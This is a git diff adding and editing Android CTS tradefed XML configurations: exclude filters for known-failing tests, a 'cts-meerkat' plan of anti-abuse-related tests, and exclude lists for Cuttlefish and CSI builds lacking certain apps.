+
+    <!-- b/38420898 -->
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyMagMultiChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMultiMode" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMultiMode" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyMagMultiMode" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRegisterMultipleChannelsUsingSameMemory" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testCloseWithoutConfigStop" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelGyroSingleChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelMagSingleChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroMagSingleChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyAccelUncalAccelSingleChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyGyroUncalGyroSingleChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRateIndependencyMagUncalMagSingleChannel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testTimestampAccel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testTimestampGyro" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testTimestampMag" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testAtomicCounterAccel" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testAtomicCounterGyro" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testAtomicCounterMag" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testRegisterMultipleChannels" />
+    <option name="compatibility:exclude-filter" value="CtsSensorTestCases android.hardware.cts.SensorDirectReportTest#testReconfigure" />
+
+    <!-- b/65843095 -->
+    <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#statistics" />
+    <option name="compatibility:exclude-filter" value="CtsLogdTestCases logd#sepolicy_rate_limiter" />
+
+    <!-- b/67377433 -->
+    <!-- fails only on angler/bullhead userdebug -->
+    <option name="compatibility:exclude-filter" value="CtsLiblogTestCases liblog#wrap_mode_blocks" />
+
+    <!-- b/132274449 -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.validation.BatteryStatsValidationTests#testConnectivityStateChange" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases[instant] android.cts.statsd.validation.BatteryStatsValidationTests#testConnectivityStateChange" />
+
+    <!-- b/148080781 -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.atom.UidAtomTests#testForegroundServiceState" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases[instant] android.cts.statsd.atom.UidAtomTests#testForegroundServiceState" />
+
+    <!-- b/110354076 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testCreateAndManageUser_DontSkipSetupWizard" />
+
+    <!-- b/123280814 -->
+    <option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetCoarseLocationUpdates_withListener" />
+    <option name="compatibility:exclude-filter" value="CtsLocation2TestCases android.location2.cts.LocationManagerTest#testGetNetworkProviderLocationUpdates_withListener" />
+
+    <!-- b/116002979 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.ListeningPortsTest" />
+
+    <!-- b/117107760 -->
+    <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testDismissDialog" />
+    <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testLaunchAnyway" />
+    <option name="compatibility:exclude-filter" value="CtsHarmfulAppWarningHostTestCases android.harmfulappwarning.cts.HarmfulAppWarningTest#testUninstall" />
+
+    <!-- b/119312212 -->
+    <option name="compatibility:exclude-filter" value="CtsAngleIntegrationHostTestCases android.angle.cts.CtsAngleDebugOptionHostTest#testDebugOptionOn" />
+
+    <!-- b/129859594 -->
+    <option name="compatibility:exclude-filter" value="CtsAtomicInstallTestCases com.android.tests.atomicinstall.AtomicInstallTest#testFailInconsistentMultiPackageCommit" />
+
+    <!-- b/126548816 -->
+    <option name="compatibility:exclude-filter" value="CtsRcsTestCases" />
+
+    <!-- b/112688380 -->
+    <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAppConfigurationTests#testAppOrientationRequestConfigClears" />
+    <option name="compatibility:exclude-filter" value="CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAppConfigurationTests#testTaskCloseRestoreFreeOrientation" />
+    <!-- b/112688380, b/139936670 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testAppOrientationRequestConfigClears" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTaskCloseRestoreFreeOrientation" />
+
+    <!-- b/167931576 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.ActivityVisibilityTests#testTurnScreenOnAttrNoLockScreen" />
+
+    <!-- b/135533962 -->
+    <option name="compatibility:exclude-filter" value="arm64-v8a CtsWrapWrapDebugMallocDebugTestCases" />
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-meerkat.xml b/tools/cts-tradefed/res/config/cts-meerkat.xml
new file mode 100644
index 0000000..99ac0ee
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-meerkat.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Tests monitored by Meerkat Platform team (anti-abuse related).">
+
+    <include name="cts" />
+
+    <option name="plan" value="cts-meerkat" />
+
+    <!-- Disable instant tests -->
+    <option name="compatibility:enable-parameterized-modules" value="false" />
+
+    <!-- Overlays & touches -->
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowInputTests"/>
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.WindowUntrustedTouchTest"/>
+    <option name="compatibility:include-filter" value="CtsSecurityTestCases android.security.cts.MotionEventTest"/>
+
+    <!-- System Alert Window (SAW) -->
+    <option name="compatibility:include-filter" value="CtsSystemIntentTestCases"/>
+    <option name="compatibility:include-filter" value="CtsMediaTestCases android.media.cts.MediaProjectionTest"/>
+
+    <!-- Toasts -->
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.ToastWindowTest"/>
+    <option name="compatibility:include-filter" value="CtsWidgetTestCases android.widget.cts.ToastTest"/>
+    <option name="compatibility:include-filter" value="CtsWidgetTestCases29 android.widget.cts29.ToastTest"/>
+    <option name="compatibility:include-filter" value="CtsToastTestCases android.widget.toast.cts.LegacyToastTest"/>
+
+    <!-- Background activity launch -->
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.lifecycle.ActivityStarterTests"/>
+    <option name="compatibility:include-filter" value="CtsActivityManagerBackgroundActivityTestCases android.server.wm.BackgroundActivityLaunchTest"/>
+
+    <!-- Icon hiding -->
+    <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.LimitAppIconHidingTest"/>
+    <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest"/>
+    <option name="compatibility:include-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.LauncherAppsProfileTest"/>
+
+    <!-- App ops -->
+    <option name="compatibility:include-filter" value="CtsAppOpsTestCases android.app.appops.cts.AppOpsTest"/>
+    <option name="compatibility:include-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsTests"/>
+    <option name="compatibility:include-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityLoggingTest"/>
+    <option name="compatibility:include-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.SessionTest"/>
+    <option name="compatibility:include-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.ExternalSourcesTestAppOpAllowed"/>
+    <option name="compatibility:include-filter" value="CtsPackageUninstallTestCases"/>
+
+    <!-- Tests that we've added for b/72485440 and in ag/3789406 -->
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.cts.ContextTest"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.cts.ContextMoreTest"/>
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.cts.ContextWrapperTest"/>
+
+    <!-- Tests that we've added for b/73451844 -->
+    <option name="compatibility:include-filter" value="CtsContentTestCases android.content.pm.cts.PackageManagerTest"/>
+
+    <!-- Network watchlist tests -->
+    <option name="compatibility:include-filter" value="CtsNetTestCases android.net.cts.NetworkWatchlistTest"/>
+
+    <!-- App data isolation -->
+    <option name="compatibility:include-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AppDataIsolationTests"/>
+
+    <!-- Install attribution -->
+    <option name="compatibility:include-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.AppSecurityTests"/>
+    <option name="compatibility:include-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.InstallSourceInfoTest"/>
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-cf.xml b/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
new file mode 100644
index 0000000..3d5ecaa
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-csi-cf.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests for Cuttlefish">
+
+    <!-- Inherit from cts-on-csi for exclude list common for all CSI devices -->
+    <include name="cts-on-csi" />
+
+    <!-- Troublesome tests that often crash the system -->
+    <option name="compatibility:exclude-filter" value="CtsPackageInstallTestCases android.packageinstaller.install.cts.IntentTest#packageNotInstalledSecureFrp" />
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionReviewTest" />
+
+    <!-- CTS modules that fail to run to complete on Android S CSI/CF -->
+    <option name="compatibility:exclude-filter" value="CtsAppEnumerationTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCameraTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsDeqpTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsFragmentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsHardwareTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsIcu4cTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsIdentityTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaBitstreamsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsMediaV2TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsNativeHardwareTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsOpenGLTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPreferenceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsResourcesLoaderTests" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSkQPTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSyncManagerTestsCases" />
+    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCasesPermissionReadPhoneState" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsVideoTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsWidgetTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
new file mode 100644
index 0000000..b10f519
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
@@ -0,0 +1,195 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded tests for APKs not in CSI">
+
+    <!-- No Browser2 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.EphemeralTest#testEphemeralQuery" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testViewNormalUrl" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testViewSecureUrl" />
+    <option name="compatibility:exclude-filter" value="CtsMatchFlagTestCases android.matchflags.cts.MatchFlagTests#startNoBrowserRequireDefault" />
+    <option name="compatibility:exclude-filter" value="CtsMatchFlagTestCases android.matchflags.cts.MatchFlagTests#startNoBrowserIntentWithNoMatchingApps" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppDetailsAndSetDefaultAppThenIsDefaultApp" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndAllowThenIsRoleHolder" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#dontAddRoleHolderThenIsNotRoleHolder" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppListAndSetDefaultAppThenIsDefaultApp" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndDenyThenHasDontAskAgain" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndDenyWithDontAskAgainThenDeniedAutomatically" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndDenyWithDontAskAgainAndReinstallThenShowsUiWithoutDontAskAgain" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppDetailsAndSetDefaultAppAndSetAnotherThenIsNotDefaultApp" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndDenyWithDontAskAgainAndClearDataThenShowsUiWithoutDontAskAgain" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppListAndSetDefaultAppThenIsDefaultAppInList" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleFirstTimeNoDontAskAgain" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestHoldingRoleThenAllowedAutomatically" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppDetailsThenIsNotDefaultApp" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#addAndRemoveRoleHolderThenRoleIsNotHeld" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#dontAddRoleHolderThenRoleIsNotHeld" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#addAndClearRoleHoldersThenIsNotRoleHolder" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#addAndRemoveRoleHolderThenIsNotRoleHolder" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndDenyThenIsNotRoleHolder" />
+    <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#requestRoleAndDenyWithDontAskAgainReturnsCanceled" />
+
+    <!-- No Calendar -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testCalendarAddAppointment" />
+
+    <!-- No Camera2 -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testCamera" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testImageCaptureIntentsHandledBySystem" />
+
+    <!-- No Contacts -->
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases android.provider.cts.contacts.ContactsContractIntentsTest#testPickContactDir" />
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases android.provider.cts.contacts.ContactsContractIntentsTest#testViewContactDir" />
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases android.provider.cts.contacts.ContactsContract_ContactsTest#testContentUri" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testContactsCallLogs" />
+
+    <!-- No DeskClock -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockDismissAlarm" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockSetAlarm" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockSetTimer" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockShowAlarms" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockShowTimers" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAlarmClockSnoozeAlarm" />
+
+    <!-- No Dialer -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testDialPhoneNumber" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testDialVoicemail" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testLockTask_defaultDialer" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testLockTask_defaultDialer" />
+    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.DefaultDialerOperationsTest#testActionDialHandling" />
+    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.DefaultDialerOperationsTest#testDialerUI" />
+
+    <!-- No Gallery2 -->
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ExternalStorageHostTest#testSystemGalleryExists" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest#testFileUriExposure" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest#testVmPenaltyListener" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest#testContentUriWithoutPermission" />
+
+    <!-- No Gallery2, Music -->
+    <option name="compatibility:exclude-filter" value="CtsProviderTestCases android.provider.cts.media.MediaStoreIntentsTest" />
+
+    <!-- No Launcher and Home -->
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityEmbeddedDisplayTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityEmbeddedHierarchyTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityEndToEndTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityFocusAndInputFocusSyncTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityGestureDispatchTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityGlobalActionsTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityMagnificationTest#testA11yNodeInfoVisibility_whenOutOfMagnifiedArea_shouldVisible" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityPaneTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTakeScreenshotTest#testTakeScreenshotWithSecureWindow_GetScreenshotAndVerifyBitmap" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextActionTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityTextTraversalTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityViewTreeReportingTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityWindowQueryTest" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilityWindowReportingTest" />
+    <option name="compatibility:exclude-filter" value="CtsAdminPackageInstallerTestCases android.packageinstaller.admin.cts.SessionCommitBroadcastTest#testBroadcastNotReceivedForDifferentLauncher" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testBgRestrictedForegroundService" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testCantSaveStateLaunchAndBackground" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testCantSaveStateLaunchAndSwitch" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testKillingPidsOnImperceptible" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testTimeTrackingAPI_ChainedActivityExit" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testTimeTrackingAPI_SimpleStartExit" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testTimeTrackingAPI_SwitchAwayTriggers" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.BooleanTileServiceTest" />
+    <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.TileServiceTest" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.QuietModeHostsideTest" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher1" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher2" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher3" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerLauncher4" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage1" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage2" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage3" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage4" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsShortcutManagerThrottlingTest" />
+
+    <!-- No Music -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testMusicPlayback" />
+
+    <!-- No QuickSearchBox -->
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testWebSearchNormalUrl" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testWebSearchPlainText" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testWebSearchSecureUrl" />
+
+    <!-- No Settings -->
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases android.accessibilityservice.cts.AccessibilitySettingsTest" />
+    <option name="compatibility:exclude-filter" value="CtsAdminTestCases android.admin.cts.DeviceAdminActivationTest" />
+    <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.StorageHostTest#testFullDisk" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.SettingsIntentTest" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testAddNetworksIntent" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testEasyConnectIntent" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testInteractAcrossProfilesSettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testLocationScanningSettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testNotificationPolicyDetailIntent" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testPictureInPictureSettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testPowerUsageSummarySettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testRequestSetAutofillServiceIntent" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testSettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testTapAnPaySettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testUsageAccessSettings" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceInputSettingsIntent" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.ManagedProfileTest#testSettingsIntents" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.AutoRevokeTest#testAutoRevoke_userWhitelisting" />
